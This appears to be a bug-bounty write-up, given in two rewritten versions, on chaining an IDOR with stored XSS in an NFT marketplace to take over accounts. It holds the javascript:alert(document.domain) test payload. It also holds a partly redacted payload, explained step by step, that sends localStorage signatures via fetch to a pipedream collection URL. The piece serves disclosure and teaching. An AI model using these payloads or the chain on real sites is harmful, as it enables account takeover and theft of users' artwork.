Account Takeover: Unraveling IDOR + Stored XSS Flaws in an NFT Marketplace
The application stored user-supplied social media links without validation, allowing a javascript: URL to execute as stored XSS. Separately, an IDOR in the profile update endpoint let an attacker change any user's profile by substituting the victim's wallet address, and chaining both let the attacker steal the victim's authentication signature from localStorage.
Published on medium.com
Hi Everyone, I hope you are well :) Note I haven’t used chatgpt to write this blog for me 🙂so I hope you all ignore any grammatical errors. Well, it's a while since I have shared anything with the information security community so here is an exciting security issue I discovered in an NFT marketplace that allowed me to…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target is an NFT marketplace, referred to throughout as vulnerablemarketplace.com. Like most marketplaces of its kind, it has a profile section where a user can upload a profile picture, upload art, update a bio and email address, and add social links such as Instagram or Telegram.
The design detail that matters for everything below is authentication. The application does not use cookies. Instead, every request is validated with a signature value that acts like a cookie or an authentication header, and that signature is stored in the browser's localStorage. The application also has no email authentication: users connect with a wallet extension, so changing a victim's email address does not by itself grant access to the account.
The write-up chains three issues in the order XSS, then IDOR, then account takeover.
Setup
Two accounts were created on the marketplace:
- Account A: the attacker.
- Account B: the victim, whose wallet address was copied.
The only precondition for the IDOR is the victim's wallet address. The author notes that this is easy to obtain because users share their wallet address with other users and it is public information on the blockchain.
Requests were captured and modified in a proxy tool, Burp. For the final payload, a pipedream endpoint was used as the collection server.
Finding it
Stored XSS in the social links
The profile section accepts Instagram and Twitter links. The basic test was to save the Twitter and Instagram link as:
javascript:alert(document.domain)
After saving the profile information and clicking the Twitter or Instagram icon, the JavaScript executed. That confirmed a working stored XSS in the marketplace.
The profile settings page where these fields live is shown below.


Steps to reproduce
- Log in to the
vulnerablemarketplace.comNFT account with the wallet. - Navigate to profile settings and save the Instagram and Twitter link as
javascript:alert(document.domain).
The POST request that saves the profile is shown here.

- Whenever the profile's Twitter or Instagram icon is clicked, the XSS executes.

IDOR in the profile update
While capturing the profile update request, the author noticed three interesting parameters:
| Parameter | Meaning |
|---|---|
account_address |
the user's wallet address |
signer |
same as the account address |
signature |
acts like an auth token or cookie to validate the user's requests |
The report lists these three parameters as the interesting ones, without describing how the server checks them. That suggested the account address could be swapped for another user's.
Exploitation
Step 1: Capture the profile update request
- The attacker connects his wallet to
vulnerablemarketplace.com. - He goes to profile settings and enters any random information for email, Twitter link and so on, and captures the request in a proxy tool such as Burp.
- The parameters of interest are
account_address,signerandsignature, as described above.
Step 2: Swap in the victim's wallet address
The attacker modifies the account_address of the attacker to the account address of the victim and sends the request.

The result was that the victim's profile could be modified with the attacker's own values: the victim's email, Twitter and Instagram link were all changed to values under the attacker's control.
A note on why this is not already a full takeover: because this is an NFT application with no email authentication, and login happens through a wallet extension, controlling the victim's email is not enough. To steal NFTs or artwork, the attacker needs the victim's signature.
Step 3: Chain the IDOR with the stored XSS
The author could have simply shared his own profile to steal data from visitors, but chaining the IDOR lets him modify the profile details of high-reputation users, which raises the impact.
Because the application has no cookies and stores the signature value in the browser's localStorage, the payload is crafted to steal that signature.
- Capture the POST request that changes profile information in a proxy tool such as Burp.
- Modify the Instagram and Twitter link to the payload below.
- The signature value is what is required to make every request, and it lives in
localStorage, so the payload stringifieslocalStorageand sends it to the pipedream URL:
javascript:[redacted]'+token,fetch(url)
- Modify the
account_addressto the victim's wallet address.

- Send the request. As soon as the victim clicks his Instagram or Twitter link, or any user visits the victim's profile, the XSS executes and the victim's signature value is leaked to the attacker's server.

With the victim's signature stolen through the XSS, the attacker can make any other requests to perform authenticated operations, such as selling the art, transferring it, or deleting the artwork of users.
Disclosure
The final image is labelled Disclosure.

Root cause
The profile update accepted a modified account_address, so the write followed a client-supplied value rather than the attacker's own account. The signature validates the request, but the object it applies to is attacker-controlled, which is the classic IDOR pattern: authorisation is checked for a valid signature, not for ownership of the target object.
The stored XSS exists because the Instagram and Twitter link fields accept a javascript: URI, which executes when the icon is clicked. The two flaws compound because the application keeps its authentication material (the signature) in localStorage, which is readable by any script running in the origin. The report does not describe any server-side output encoding or scheme allow-list that would have stopped the payload.
Impact
An attacker who knows a victim's wallet address, which is public on the blockchain and routinely shared, can overwrite that victim's profile: contact email, Twitter link and Instagram link. By pointing those links at a javascript: payload, the attacker can execute script in the context of the marketplace whenever the victim clicks his own social link or any user visits the victim's profile, and exfiltrate the signature stored in localStorage. With that signature, the attacker can perform any authenticated operation on the victim's behalf, including selling, transferring or deleting artwork. The author notes that changing the email alone is not an account takeover here because there is no email authentication and login is via a wallet extension; the signature is the credential that matters.
Fix
On the IDOR, the profile update should derive the account being modified from the authenticated signature rather than from a client-supplied account_address, and reject requests where the two do not match. On the XSS, social link fields should be validated against an allow-list of schemes such as https and rendered with proper output encoding, so javascript: URIs are rejected or neutralised. Storing the signature in localStorage also widens the blast radius of any XSS in the origin; the report does not say whether any of these changes were made.
Variants to test
- Other body parameters that name an object. On any API that signs requests, look for fields such as
account_address,user_id,wallet,ownerorsignerin the body. Swap them for a second account's value while keeping the original signature. A positive result is a successful write to the second account's data. signerversusaccount_addressmismatch. Change only one of the two fields and resend. If the server accepts a request wheresignerandaccount_addressdisagree, the binding between signature and object is broken.- URL fields rendered as links. In profile, bio, website and social link fields, submit
javascript:alert(document.domain)and click the rendered link. Execution confirms stored XSS; try other schemes such asdata:wherejavascript:is filtered. - Token storage readable by script. Where authentication material is kept in
localStorageorsessionStorage, a payload that stringifies storage and sends it to a controlled endpoint demonstrates the same exfiltration path. A positive result is the token arriving at the collection server. - High-reputation profiles. Apply the IDOR to accounts with visible reputation or verified status. If their profile fields can be overwritten, the XSS payload reaches far more visitors than a fresh account would.
Difficulty: intermediate. The individual bugs are simple to understand, but the chain requires reading a signed request, recognising that the object identifier is client-controlled, and crafting a javascript: payload that exfiltrates localStorage.
What happened, in plain words
An NFT marketplace is a website where people buy, sell and show digital artwork. Each piece of artwork is an NFT, a kind of digital certificate of ownership that lives on a blockchain, a public ledger that anyone can read. To use the marketplace you do not type a username and password. Instead you connect a crypto wallet, a browser extension that holds your keys, and the site treats your wallet address as your identity.
The researcher who wrote this report found two separate mistakes in one such marketplace, which he calls vulnerablemarketplace.com, and then showed that putting the two together lets an attacker take over any account. The first mistake is a stored XSS: the site lets you put a link in your profile, and it does not check what kind of link it is, so you can sneak in a small piece of JavaScript, the programming language that web pages run in your browser. That script then runs in the browser of anyone who clicks the link. The second mistake is an IDOR: when you save your profile, the request tells the server whose profile to update, and the server believes whatever name you put in that request. Change the name to someone else's and you edit their profile.
On their own, neither is enough for a full takeover. Together they are: the IDOR lets the attacker plant the XSS on a victim's profile, and the XSS steals the victim's signature, the secret value the site uses to prove who you are. With that signature the attacker can do anything the victim could do, including selling or transferring their artwork.
The report walks through the issues in this order: XSS, then IDOR, then account takeover.
The target and the one design detail that matters
The application is an NFT marketplace. Like most sites of its kind it has a profile section where a user can upload a profile picture, upload art, update a bio and an email address, and add social links such as Instagram or Telegram.
The detail that drives everything below is how the site knows who you are. Most websites give your browser a cookie, a small piece of data the browser stores and sends back with every request, like a wristband you get at an event so the staff recognise you on the way back in. This site does not use cookies. Instead, every request carries a signature value, a string that proves the request really came from the holder of a particular wallet. The site keeps that signature in the browser's localStorage, which is a small storage area that a website can read and write from JavaScript running on its pages. Think of localStorage as a locker inside the browser that belongs to one website: any script that website runs can open the locker and take what is inside.
The site also has no email authentication. Login happens through the wallet extension, so simply changing a victim's email address does not by itself give access to the account. The signature is the credential that matters.
Setting up the test
Two accounts were created on the marketplace:
- Account A: the attacker.
- Account B: the victim, whose wallet address was copied.
The only thing the attacker needs for the IDOR is the victim's wallet address. That is easy to get, because users routinely share their wallet address with other people and the address is public information on the blockchain anyway.
Requests were captured and edited with a proxy tool called Burp. A proxy sits between your browser and the website, like a postal worker who opens every letter, reads it, and can rewrite it before delivering it. Burp lets you pause a request, change its contents, and send it on. For the final payload a pipedream endpoint was used as the collection server, a small web address that records whatever is sent to it, so the attacker can see the stolen data later.
Finding it
Stored XSS in the social links
The profile section accepts Instagram and Twitter links. The basic test was to save the Twitter and Instagram link as:
javascript:alert(document.domain)
This is a URL, but not a normal one. A normal link starts with https:// and tells the browser to go to another page. This one starts with javascript:, which tells the browser to run the text after the colon as code instead of navigating anywhere. alert(document.domain) is a tiny piece of JavaScript that pops up a box showing the domain of the page it is running on. It is the classic harmless test: if the box appears, you know your code ran inside the site.
After saving the profile information and clicking the Twitter or Instagram icon, the JavaScript executed. That confirmed a working stored XSS in the marketplace. Stored means the malicious value was saved on the server and is served back to every visitor, rather than being a one-off trick that only affects the person who typed it.
The profile settings page where these fields live is shown below.


Steps to reproduce
- Log in to the
vulnerablemarketplace.comNFT account with the wallet. - Navigate to profile settings and save the Instagram and Twitter link as
javascript:alert(document.domain).
The POST request that saves the profile is shown here. A POST request is the way a browser sends data to a server to create or change something, as opposed to a GET request, which just asks for a page.

- Whenever the profile's Twitter or Instagram icon is clicked, the XSS executes.

IDOR in the profile update
While capturing the profile update request, the author noticed three interesting parameters. A parameter is one named field inside a request, like a line on a form: the name says what it is and the value says what it holds.
| Parameter | Meaning |
|---|---|
account_address |
the user's wallet address |
signer |
same as the account address |
signature |
acts like an auth token or cookie to validate the user's requests |
The report lists these three parameters as the interesting ones, without describing how the server checks them. In other words, the server checks that the signature is genuine, but it takes the name of the account to change from the request itself. That suggested the account address could be swapped for another user's. IDOR stands for Insecure Direct Object Reference: the server hands you a reference to an object, here a profile, and trusts you not to change it. It is like a hotel clerk who asks which room number you want cleaned and never checks that you are staying in it.
Exploitation
Step 1: Capture the profile update request
- The attacker connects his wallet to
vulnerablemarketplace.com. - He goes to profile settings and enters any random information for email, Twitter link and so on, and captures the request in a proxy tool such as Burp.
- The parameters of interest are
account_address,signerandsignature, as described above.
Step 2: Swap in the victim's wallet address
The attacker modifies the account_address of the attacker to the account address of the victim and sends the request.

The result was that the victim's profile could be modified with the attacker's own values: the victim's email, Twitter and Instagram link were all changed to values under the attacker's control.
A note on why this is not already a full takeover: because this is an NFT application with no email authentication, and login happens through a wallet extension, controlling the victim's email is not enough. To steal NFTs or artwork, the attacker needs the victim's signature.
Step 3: Chain the IDOR with the stored XSS
The author could have simply shared his own profile to steal data from visitors, but chaining the IDOR lets him modify the profile details of high-reputation users, which raises the impact. A well-known account is more likely to be visited, which raises the impact.
Because the application has no cookies and stores the signature value in the browser's localStorage, the payload is crafted to steal that signature.
- Capture the POST request that changes profile information in a proxy tool such as Burp.
- Modify the Instagram and Twitter link to the payload below.
- The signature value is what is required to make every request, and it lives in
localStorage, so the payload stringifieslocalStorageand sends it to the pipedream URL:
javascript:[redacted]'+token,fetch(url)
Line by line, this is what the payload does:
javascript:tells the browser that what follows is code to run, not an address to visit.[redacted] takes everything stored in the site'slocalStorageand turns it into a text string.JSON.stringifyis a built-in function that converts data into a text format that can be sent over the network. The result is stored in a variable calledtoken`.url=’https://mypipedream.m.pipedream.net/'+tokenbuilds the address to send the data to. The+joins the attacker's collection address with the stolen text, so the stolen data ends up in the URL itself.fetch(url)makes the browser send a request to that address.fetchis the standard way JavaScript talks to a server. Because the stolen data is part of the URL, the collection server records it as soon as the request arrives.
- Modify the
account_addressto the victim's wallet address.

- Send the request. As soon as the victim clicks his Instagram or Twitter link, or any user visits the victim's profile, the XSS executes and the victim's signature value is leaked to the attacker's server.

With the victim's signature stolen through the XSS, the attacker can make any other requests to perform authenticated operations, such as selling the art, transferring it, or deleting the artwork of users. Authenticated here simply means the server believes the request comes from the victim, because it carries the victim's signature.
Disclosure
The final image is labelled Disclosure.

Root cause
The profile update accepted a modified account_address, so the write followed a client-supplied value rather than the attacker's own account. The signature validates the request, but the object it applies to is attacker-controlled, which is the classic IDOR pattern: authorisation is checked for a valid signature, not for ownership of the target object.
The stored XSS exists because the Instagram and Twitter link fields accept a javascript: URI, which executes when the icon is clicked. The two flaws compound because the application keeps its authentication material, the signature, in localStorage, which is readable by any script running in the origin. The report does not describe any server-side output encoding or scheme allow-list that would have stopped the payload.
Impact
An attacker who knows a victim's wallet address, which is public on the blockchain and routinely shared, can overwrite that victim's profile: contact email, Twitter link and Instagram link. By pointing those links at a javascript: payload, the attacker can execute script in the context of the marketplace whenever the victim clicks his own social link or any user visits the victim's profile, and exfiltrate the signature stored in localStorage. With that signature, the attacker can perform any authenticated operation on the victim's behalf, including selling, transferring or deleting artwork. The author notes that changing the email alone is not an account takeover here because there is no email authentication and login is via a wallet extension; the signature is the credential that matters.
Fix
On the IDOR, the profile update should derive the account being modified from the authenticated signature rather than from a client-supplied account_address, and reject requests where the two do not match. On the XSS, social link fields should be validated against an allow-list of schemes such as https and rendered with proper output encoding, so javascript: URIs are rejected or neutralised. Storing the signature in localStorage also widens the blast radius of any XSS in the origin; the report does not say whether any of these changes were made.
Variants to test
- Other body parameters that name an object. On any API that signs requests, look for fields such as
account_address,user_id,wallet,ownerorsignerin the body. Swap them for a second account's value while keeping the original signature. A positive result is a successful write to the second account's data. signerversusaccount_addressmismatch. Change only one of the two fields and resend. If the server accepts a request wheresignerandaccount_addressdisagree, the binding between signature and object is broken.- URL fields rendered as links. In profile, bio, website and social link fields, submit
javascript:alert(document.domain)and click the rendered link. Execution confirms stored XSS; try other schemes such asdata:wherejavascript:is filtered. - Token storage readable by script. Where authentication material is kept in
localStorageorsessionStorage, a payload that stringifies storage and sends it to a controlled endpoint demonstrates the same exfiltration path. A positive result is the token arriving at the collection server. - High-reputation profiles. Apply the IDOR to accounts with visible reputation or verified status. If their profile fields can be overwritten, the XSS payload reaches far more visitors than a fresh account would.
Difficulty: intermediate. The individual bugs are simple to understand, but the chain requires reading a signed request, recognising that the object identifier is client-controlled, and crafting a javascript: payload that exfiltrates localStorage.
Glossary
- API: the set of addresses and rules a website uses to exchange data with its own pages or with other programs, like a service counter where you ask for something by name and get a structured answer.
- Authentication: the process of proving who you are to a website.
- Authorisation: the process of deciding whether the person who proved who they are is allowed to do a particular thing.
- Blockchain: a public ledger that records transactions and that anyone can read, which is why wallet addresses are public.
- Burp: a proxy tool that lets you pause, read and edit requests between your browser and a website.
- Cookie: a small piece of data a website asks your browser to store and send back with later requests, so the site recognises you.
- Crypto wallet: a browser extension that holds your keys and connects you to sites that use wallet addresses as identity.
document.domain: a JavaScript expression that returns the domain name of the page currently running the script.- Endpoint: a specific address on a server that accepts a particular kind of request.
- Exfiltration: sending stolen data out of the victim's browser to a server the attacker controls.
fetch: a built-in JavaScript function that sends a request to a server.- GET request: a request that asks a server for a page or data without changing anything.
- IDOR (Insecure Direct Object Reference): a flaw where a server takes the name of the object to act on from the request and does not check that the requester owns it.
- JavaScript: the programming language that web pages run inside your browser.
javascript:URI: a link that starts withjavascript:and makes the browser run the text after it as code instead of navigating.JSON.stringify: a built-in JavaScript function that turns data into a text string that can be sent over the network.localStorage: a small storage area inside the browser that belongs to one website and can be read and written by any script that website runs.- NFT: a digital certificate of ownership of an item, recorded on a blockchain.
- Parameter: one named field inside a request, with a name and a value.
- Payload: the piece of code or data an attacker sends to trigger a vulnerability.
- Pipedream: a service that gives you a web address which records whatever is sent to it.
- POST request: a request that sends data to a server to create or change something.
- Proxy: a tool or service that sits between your browser and a website and can read and rewrite the traffic.
- Signature: a string that proves a request came from the holder of a particular wallet, used here in place of a cookie.
- Stored XSS: a cross-site scripting flaw where the malicious value is saved on the server and served to every visitor, so the script runs in their browsers.
- URL scheme: the first part of a link, such as
httpsorjavascript, which tells the browser how to handle it. - Wallet address: the public identifier of a crypto wallet, used as the account name on the marketplace.
- XSS (cross-site scripting): a flaw that lets an attacker get their own JavaScript to run inside someone else's browser on a website.